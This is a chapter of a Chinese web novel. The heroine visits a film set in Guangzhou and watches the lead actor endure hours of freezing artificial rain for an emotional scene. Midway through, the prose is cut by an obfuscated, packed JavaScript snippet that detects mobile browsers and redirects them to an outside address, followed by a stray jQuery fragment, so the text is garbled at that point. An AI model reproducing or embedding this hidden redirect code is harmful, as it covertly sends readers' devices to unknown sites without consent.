12
晚上下班时，天空飘起小雨。经过高架时雨势转大，伊林打开实时航班信息，前序航班已有1小时左右的延误。原本9半即可到达广州，按照目前态势，降落时间最起码会推迟至11点以后。
落地之后，伊林收到方华信息，来接她的车停在P8停车场，车型、车牌号、司机联系方式均在信息中告知。伊林坐上车已是接近零时，一路上雨忽大忽小，冷风呼啸。回到庭院，已至凌晨一点半。
司机将行李送进室内后，礼貌与伊林道别。管家阿姨在餐桌上备好夜宵，何屿循声从二楼上走下，露出惯常微笑。
“听说飞机晚点。”他自然在餐桌前坐下，接过阿姨递过来的小碗汤，但并没有动勺子。
“嗯，估计是天气原因。”伊林接过冒着热气的汤碗，用汤匙一口一口喝着。温暖食物下肚，让她好受许多。
“你不尝尝？味道很好。”见他不动汤碗，伊林问他。
“……好。”何屿拿起汤匙，喝下一口。“味道很好。”他对阿姨说。
伊林很快吃完夜宵，去往二楼次卧冲热水澡。吹干头发出来进入主卧，何屿盘腿坐在床上看剧本。?“明天几点开拍？”伊林学着他，盘腿坐在另一张床上。
“9点。”何屿没有抬头看他，视线依然停留在剧本上。
伊林看了看墙上时钟，已过午夜两点。9点开拍，连带路途与妆造时间，何屿需要提前三小时出发。他5点半就要起床。
“……赶紧睡吧。”伊林也不管他还在看剧本，关掉大灯，只留下一盏昏暗壁灯。
失去光亮，男子没有抱怨。他将剧本收至床头柜，安静躺入羽绒被。
伊林关闭最后一盏小壁灯。然后她又想起了什么，在枕边摸索到手机，上好早晨5点半的表铃。
另一张床上传来浅浅的翻动声，再慢慢安静。
伊林逼迫自己尽快入睡。
另一个手机表铃浅浅响起时，何屿很快将其按灭。窗帘间隙透出的晨光之中，另一张床上的人睡得很熟。
他打开手机电筒，将窗帘紧闭。而后安静走出房间。
伊林醒来时，觉得精神很好。房间里一片昏暗，只有墙上的LED电子钟发出光亮。她揉了揉眼睛，聚焦去看，已经快11点。
她猛然从床上坐起，按亮手机，屏幕上除了一些朋友发来的消息，只有方华一条信息，提醒她早餐已在厨房备好，起来加热即可。
伊林回问方华片场地址，再下床拉开窗帘，窗外是雾气缠绕的阴雨连绵。房间里开了电暖器，室内温度显示18度。在走入卫生间时伊林感觉到一股寒意，没有任何取暖设备加持的浴室里，是属于广州冬日未加掩饰的阴冷天气。她快速完成洗漱，下楼吃好早餐，打开手机看微信。方华除了告知她片场地址，同时安排司机来接。
十五分钟后，车子到达。伊林背好单肩包上了车，车内暖气很足。天气恶劣，高速路上非常堵，正常只需1小时的路程被延长到2个小时。到片场已是下午一点半，被司机带到何屿的休息室里，伊林与张凯西打了招呼，拖了椅子坐在大监屏幕前，看向变为另一个人的他。
广州室外温度低至4度。镜头里何屿饰演的林其卫穿着短袖，正在雨中看向合伙人离开的方向。镜中角色所经历的季节是夏天，意味着演员要克服寒冷之下自然的身体反应——他不能发抖，不能瑟缩，不能咳嗽流涕。身处夏日暴雨中的林其卫双目无神看向朋友离开的方向，而饰演他的演员何屿，嘴唇已经被冻至发白。在镜头里能看到他张开双唇无声落泪时，因温度太低所产生的白色雾气。伊林知道何屿在受苦，但这种镜头是不行的。他需要重新来过。
导演喊了CUT，场务正在从冰箱里拿出冰水。一下镜，何屿放松下来，生活助理马上为他披上防水羽绒服。在滂沱大雨中，这根本起不了什么作用，他的身体早就被冷水淋透了。伊林看见演员何屿控制不住的发着抖，等待化妆师为他补好唇色，再将羽绒服脱下来递给助理，机械喝下一口场务递来的冰水，压下口腔热气，继续在雨中重复表演刚才的镜头。
伊林不忍再看向大监视器。她拿起桌上另一套镜头脚本，今日戏份已拍摄过半。已经打过勾的镜头说明里，全都是外景——这意味着从早上9点开始，何屿已经在阴雨天里冻了4个小时。
伊林将脚本放回原位，继续在凯西身边坐下。年轻女孩分神抬头看她一眼，继续做她的笔记。“他不需要你的怜悯。这是他的工作。”她面无表情对她说。
我不是在怜悯，他当然不需要。伊林在心中回复着。我是在……心疼他，他是我喜欢的人。我不想他遭受这些。
她安静坐回大监面前，没有对凯西说任何话。
半小时后，有人推门进来，是方华。“干燥服装、电暖水袋、热姜汤都准备好了吗？”她问向工作人员。“备好了。”两个忙碌的生活助理把所需用品放在张凯西旁边的桌面上。方华走过来一一试过热度，才来得及与李伊林打招呼。全身湿透的何屿随后披着羽绒服走进来，直接进到仅属于他的白色休息室，他没有看到李伊林。
很快，演员换好一身一模一样的干燥戏服，披着羽绒服走出来，坐在凯西旁边看回放。此时，他看见了坐在二排椅子里的李伊林。
看到她，何屿有些讶异，但也没说太多，只是稍稍打了个招呼。方华将电热水袋放在他的肚子上，助理递给他一杯热姜汤。何屿很自然接受这一切。伊林意识到，在这个休息室里，他是绝对的上位者。
听完凯西的镜头反馈，场务来叫何屿备戏走位。身型高大的生活助理带上大伞，跟着演员出去。出现在监视器里的何屿按照导演指示调整走位，旁边助理为他撑开雨伞。
走位完成后，何屿将羽绒服脱下递出，助理接过，撑伞回到休息室。人工造雨机开始工作，何屿站在冷水中闭上眼睛。很快，他的全身湿透，回到上一镜的状态。
这一场戏是与女友的对手戏。第一轮是调整状态，女演员需要撑伞走向他。正式开拍后，需要完成正位、侧位、斜后位三角度拍摄，加上女演员调整状态的几条，何屿一直淋在冰水中。
整个拍摄过程持续近一小时，伊林逼迫自己仔细看向他的每一个状态。在镜头里的何屿，不论是哪一个角度，都会将自身身形调整至“失望的挺立”——在此之前，伊林对一个好演员的判断大部分停留在面部表情的丰富与微妙。而在何屿身上，她发现一个好演员在呈现状态时，会调动身体所有部位。他对身体的每一个部位都拥有非常灵敏强大的控制力，而这或许与天赋无关。这是长期揣摩、模仿、领悟与练习的成果。
完成这颗镜头拍摄，何屿再次回到休息室稍作休息。这一次他没有换掉被淋湿的衣服，因为时间不够。喝完热姜汤之后，他走出休息室，步入镜头范围
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459247|169676||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
李伊林发现权力场的变化。在开机之前，摄制组与场务组如同“苦力”，扛着沉重的机器和道具在阴雨里来回走动。在开机之后，导演、摄像、剧务组，都穿着厚厚的防水羽绒服，将衣衫单薄的演员们包围其中。他们根据导演调度，调整着演员的每一次站位，每一场状态。无论主角配角，均成为导演组、摄制组、场务组的“提线木偶”——他们需要一遍又一遍的重复着相同的场景，要保持相同的情绪，因为需要重复拍摄大景、前景、中景、特写……演员对剧务组来说，是“非人”般的存在——这一场戏，他们需要哭。下一场戏，他们需要笑。这些美丽的人需要在接近零度的冬天里淋雨，或者在超过40度的夏天里一遍又遍表演追车。而剧务组只对镜头负责，演员的身体状况、痛苦忍耐，不是他们的职责范围。
作为顶级艺人，在休息室里的何屿有自己的统筹与协调、服务团队，他已强过一般演员太多。配角是没有单独休息室的，分配给他们的只是一个公用空间，不仅是他们的休息室、等待间，还是他们的化妆间与临时餐厅。
在跟片时，伊林路过过这些房间，内里布置杂乱不堪，气味浑浊，不会配备空调与取暖设备，更不会有专门的日程协调。尚未出头的中小演员只能一日一日被牵制这里，陷入无尽漫长的等待。
在真正触摸到属于演员何屿的“现实”之后，伊林有一种感觉。所谓“特权阶级”、“世家子弟”、“权势演员”，在这些场景，全是笑话。
下午5点，阴雨天气让天色提前陷入昏暗，最后一个镜头开始抢时间。伊林看得出，何屿已经被冻得失去知觉，仅凭着最后的本能在工作。而这却恰恰是正确的林其卫——被合伙人背叛，被女友误解，失去了启动资金与扩展机会的孤注一掷者，在阴冷雨天中缓缓走上大桥。他在风雨中长时间凝视着珠江。漫长的安静过后，是失控般的哭吼。四周无人，倾听他的只有漫天大雨。
剧烈的情绪倾泻很快让他陷入疲累。他再度安静下来，原本挺拔的身体陷入瘫软。剧烈情感很快消散，留下的只有麻木。然后他迈出倾斜脚步，向前走出一步，再走出一步。他想走过大桥，走入这无边的大雨之中。或许这才是最好的结局，让纠缠不停的希望与绝望就此结束，再无苦痛，一了百了。他机械的向前走着，放任优美身形变得狼狈。前方雾漫江水，空无一物，却像是他最终的救赎。
忽然之间，一只不知从哪里来的白色海鸟飞向他，在何屿身边徘徊着鸣叫。这是脚本里并未描写的突发状况，却更像一个纯白色的奇迹——那个虚构的、真实的、正在受苦的、丧失知觉的林其卫看着这只美丽生物，伸出手去，任由它啄向他的掌心。
鸟喙尖利，刺破皮肤，猩红血液汩汩流出。他感受着手心的灼痛，任这痛楚蔓延开来，渗透入尚未被雨水浸湿的血管，激活着他的动脉与神经，流淌着、游走着，浸润他本应热烈跳动的心。
雨势小下去，雾气上升着，最高规格的镜头中，精准记录这场神迹般的意外。
片刻之后，白色鸟儿随风而行，渐渐飞离。林其卫保持着伸出双手的姿势，跪坐在宁静雨中。无法停止颤抖的演员何屿将头埋下去，像虔诚的祈祷者。
镜头慢慢拉远，直至林其卫的世界消失在雾气之中。
导演喊了CUT。
伊林回过神来，发觉自己不知从何时起，已是一脸黏湿泪水。